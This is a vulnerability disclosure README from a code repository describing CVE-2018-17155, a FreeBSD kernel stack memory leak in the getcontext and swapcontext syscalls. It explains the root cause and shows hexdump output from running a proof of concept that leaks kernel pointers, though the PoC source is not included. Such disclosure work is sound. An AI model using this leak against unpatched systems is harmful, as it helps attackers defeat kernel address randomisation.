Skip to content

Latest commit

 

History

History

CVE-2018-17155

Folders and files

NameName
Last commit message
Last commit date

parent directory

..
 
 
 
 
 
 
 
 

CVE-2018-17155

This is a classic stack-based kernel memory disclosure of 2 1/2 kernel pointers. This issue was assingned CVE-2018-17155 / FreeBSD-EN-18:12.mem. It was anounced and patched on 2018-09-27.

Description

One leak is in the syscall getcontext (421) and one probably in syscall swapcontext (423) since there is the same pattern. Both functions are implemented in sys/kern/kern_context.c. The root cause is that a ucontext_t structure is allocated on the kernel stack. This is a rather complicated structure and it seems that only parts of it are zero'd out. However, this should be done in the function sys_getcontext. As a result this leaks around 20 bytes of kernel memory to user space (in the case of sys_getcontext, should be the same in the case of sys_swapcontext, though I did not test this). If there were kernel ASLR it would be broken since interesting kernel pointers are leaked. Furthermore, we can not be 100% sure whats left on the kernel stack.

I've attached a PoC to test this. First lets execute it on FreeBSD 11.2 amd64 (fully patched):

~ kldstat
 Id Refs Address            Size     Name
  1    1 0xffffffff80200000 20aeee8  kernel
 ➜  ~ ./getcontext
 Sizeof ucontext_t is 880 bytes.
 ➜  ~ hehexdump ucp_dump.bin
 0000000 0000 0000 0000 0000 0000 0000 0000 0000
 0000010 0000 0000 0000 0000 01a5 0000 0000 0000
 0000020 0000 00e2 0008 0000 0000 0000 0000 0000
 0000030 0000 0000 0000 0000 0370 0000 0000 0000
 0000040 0020 0000 0000 0000 0000 0000 0000 0000
 0000050 db40 ffff 7fff 0000 daf0 ffff 7fff 0000
 0000060 0000 0000 0000 0000 0000 00e2 0008 0000
 0000070 db38 ffff 7fff 0000 0000 0000 0000 0000
 0000080 0001 0000 0000 0000 db50 ffff 7fff 0000
 0000090 8c88 0340 0013 001b 8cc0 0340 f800 ffff
 00000a0 0001 0000 003b 003b 9000 0a34 f800 ffff
 00000b0 d6da 008b 0008 0000 0043 0000 0000 0000
 00000c0 0206 0000 0000 0000 daa8 ffff 7fff 0000
 00000d0 003b 0000 0000 0000 0320 0000 0000 0000
 00000e0 0002 0001 0000 0000 0001 0002 0000 0000
 00000f0 037f 0000 0000 0000 0000 0000 0000 0000
 0000100 0000 0000 0000 0000 1f80 0000 ffff 0002
 0000110 0000 0000 0000 0000 0000 0000 0000 0000
 *
 00001a0 0020 0000 0000 0000 0000 0000 0000 0000
 00001b0 0000 0000 0000 0000 0020 0000 0000 0000
 00001c0 4261 0000 0000 0000 6261 0000 0000 0000
 00001d0 0004 0000 0000 0000 0004 0000 0000 0000
 00001e0 0000 0000 0000 0000 0000 0000 0000 0000
 *
 0000200 0261 0000 0000 0000 2261 0000 0000 0000
 0000210 4000 0000 0000 0000 4000 0000 0000 0000
 0000220 0000 0000 0000 0000 0000 0000 0000 0000
 *
 00002f0 7128 0062 0008 0000 0000 0000 0000 0000
 0000300 0000 0000 0000 0000 0000 0000 0000 0000
 *
 0000330 4242 4242 4242 4242 4242 4242 4242 4242
 *
 0000370

The bytes are leaked around 0x90 and 0xa0. To really see the leakage, use the patch kern_context_test.patch. This initializes the ucontext_t structure with 0x45 bytes.

~ ./getcontext
 Sizeof ucontext_t is 880 bytes.
 ➜  ~ hexdump ucp_dump.bin
 0000000 0000 0000 0000 0000 0000 0000 0000 0000
 0000010 0000 0000 0000 0000 01a5 0000 0000 0000
 0000020 0000 00e2 0008 0000 0000 0000 0000 0000
 0000030 0000 0000 0000 0000 0370 0000 0000 0000
 0000040 0020 0000 0000 0000 0000 0000 0000 0000
 0000050 db40 ffff 7fff 0000 daf0 ffff 7fff 0000
 0000060 0000 0000 0000 0000 0000 00e2 0008 0000
 0000070 db38 ffff 7fff 0000 0000 0000 0000 0000
 0000080 0001 0000 0000 0000 db50 ffff 7fff 0000
 0000090 4545 4545 0013 001b 4545 4545 4545 4545
 00000a0 0001 0000 003b 003b 4545 4545 4545 4545
 00000b0 d6da 008b 0008 0000 0043 0000 0000 0000
 00000c0 0206 0000 0000 0000 daa8 ffff 7fff 0000
 00000d0 003b 0000 0000 0000 0320 0000 0000 0000
 00000e0 0002 0001 0000 0000 0001 0002 0000 0000
 00000f0 037f 0000 0000 0000 0000 0000 0000 0000
 0000100 0000 0000 0000 0000 1f80 0000 ffff 0002
 0000110 0000 0000 0000 0000 0000 0000 0000 0000
 *
 00001a0 0020 0000 0000 0000 0000 0000 0000 0000
 00001b0 0000 0000 0000 0000 0020 0000 0000 0000
 00001c0 4261 0000 0000 0000 6261 0000 0000 0000
 00001d0 0004 0000 0000 0000 0004 0000 0000 0000
 00001e0 0000 0000 0000 0000 0000 0000 0000 0000
 *
 0000200 0261 0000 0000 0000 2261 0000 0000 0000
 0000210 4000 0000 0000 0000 4000 0000 0000 0000
 0000220 0000 0000 0000 0000 0000 0000 0000 0000
 *
 00002f0 7128 0062 0008 0000 0000 0000 0000 0000
 0000300 0000 0000 0000 0000 0000 0000 0000 0000
 *
 0000330 4242 4242 4242 4242 4242 4242 4242 4242
 *
 0000370